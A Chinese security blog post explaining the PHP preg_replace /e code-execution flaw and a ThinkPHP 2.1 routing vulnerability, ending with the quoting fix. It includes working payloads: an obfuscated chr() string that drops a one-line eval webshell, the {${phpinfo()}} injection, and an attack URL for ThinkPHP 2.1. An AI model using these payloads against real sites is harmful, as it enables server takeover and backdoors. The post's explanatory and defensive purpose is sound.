preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确 保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。
举例:
<?php
preg_replace (“/(</?)(w+)([^>]*>)/e”,
“\1.strtoupper(\2).\3”,
$html_body);
?>
这将使输入字符串中的所有 HTML 标记变成大写。
安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:
<?
echo preg_replace(“/test/e”,$_GET[“h”],”jutst test”);
?>
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
再来一个有难度的例子:
<?
function test($str)
{
}
echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1”)’, $_GET[“h”]);
?>
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行(注意是{${phpinfo()}}会在双引号下执行,而${phpinfo()}是不会执行的)。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:
echo “{${phpinfo()}}”; phpinfo会被成功执行了。
可以用下面代码测试
<?php
$a = “${@print(‘hello’)}”;
$b = “{${phpinfo()}}”;
#$b = “${phpinfo()}”; #这样不能执行
?>
执行结果如下:
如何防范这种漏洞呢?
将’test(“\1”)’ 修改为”test(‘\1’)”,这样‘${phpinfo()}’就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
参考文章:
《php手册 – preg_replace》 http://www.yesky.com/imagesnew/software/php/zh/function.preg-replace.html
《Uchome <=2.0 后台GetWebShell 漏洞》 http://www.5luyu.cn/article/jishu/708.htm
《preg_replace漏洞利用详解》 http://www.dbgger.com/?id=334 (这网站界面巨像安全焦点)
PHP安全之慎用preg_replace的/e修饰符
PHP以其易用性和可移植性正被广泛应用于WEB开发。然而,在我们使用的过程中,也要十分小心,从随处可见的XSS(新浪微博发送大量垃 圾信息事件)到前段时间爆出来的Hash冲突的DDOS攻击,最近,wooyun上面发布了一个关于ThinkPHP框架的漏洞(最新版已经修复),以前 也是我用过的第一个框架,昨晚花时间重现了一下,查阅了下程序的原理。本文主要来重现该漏洞,然后分析代码,给出漏洞的原因,用这个漏洞去检验可能对系统 造成的破坏,最后总结,防范的方法。
漏洞主要是由mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 这个函数引起的,我们先看官方说明:
/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确 保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。
我们不妨先看一下这个示例
preg_replace( "/test/e" , $_GET [ "h" ], "jutst test" ); |
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会 将 replacement 参数当作 PHP 代码执行)。这个正则被正确的匹配到,在进行替换的过程中,需要将$_GET[“h”]传入的 String当作函数来运行,因此phpinfo()被成功执行。
代码如下:
1
2
3
|
<?php preg_replace( "/test/e" , $_GET [ "h" ], "jutst test" ); ?> |
访问的url : ?h=phpinfo()
进而,我们进入ThinkPHP的源码,下载2.1版(2.1以后已经被修复)。在/ThinikPHP/Lib/ThinkPHP/Util/Dispatcher.class.php的dispatch函数中,找到这句话:
在ThinkPHP的路由功能中,很多地方用到了preg_replace函数的/e参数,然而最严重的是这个文件中的这句话,因为几乎影响了所有使用Thinkphp的项目。
显然,这个使用了/e函数,会导致第二个参数当作函数使用。我们来分析一下这句话:
正则匹配的是 :字母开头,加上“/”分隔符,后面跟一个非”/”的元素,被替换成$var[“分隔符前的字母”]=分隔符后的值;作者的本意是要将这么一对一对的参数/值的形式的url写入到 $var[$key] = $value的数组中。
例如:URL,index.php?s=/model/action/par1/value1
将被解析成 :model模块的action方法,参数的处理放在这句话中,$deprde的值是“/”,由于/par1/value1(剩余的URL参数)匹配到了 正则表达式,则会用第二个参数去进行替换。那么第二个参数应该被当作一个php语句来执行,他是一个赋值语句,执行的结果为:$var[“par1”] = “value1″,作者以此来达到分析url的目的,也实现了ThinkPHP的C层。
但是在赋值的时候,使用的是双引号。危险的地方实际上在这里,在 php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。可以先做如下测试:
$a = “{${phpinfo()}}”; phpinfo会被成功执行。因此,我们将第二个变量替换成我们需要的函数,构造出来的攻击url大致如下:
http://host/index.php/Model/Action/par/${@print(THINK_VERSION)}
我们使用ThinkPHP2.1_full_with_extend ,使用examlpe里面的Blog示例,快速搭建一个Thinkphp项目,然后访问http://host/index.php/Model/Action/par/${@print(THINK_VERSION)},可以在左上角打印出当前的TP版本,利用这个来执行php函数,
相当于开启了一个PHP的一句话后门。
具体分析是:这句话的/par /${@print(THINK_VERSION)}将匹配到正则表达式,将会执行第二个参数,具体语句是$var[‘par’] = “${@print(THINK_VERSION)}
“; 问题出在双引号上面,这个会执行里面的语句,包含很多危险的语句,包含phpinfo(),读取数据库配置等等。
截至目前,在Google上还可以找到许多这样的站点,很多站点都可以直接执行phpinfo(),在新版的ThinkPHP中已经修复了这个漏洞,将第二个参数的双引号改为单引号:
'$var[\'\\1\']='\\2';'
在我们以后使用preg_replace的/e修饰符的时候,需要注意这个双引号和单引号,像框架类的漏洞,一般影响的范围都非常的广。
转载请注明:jinglingshu的博客 » preg_replace危险的/e修饰符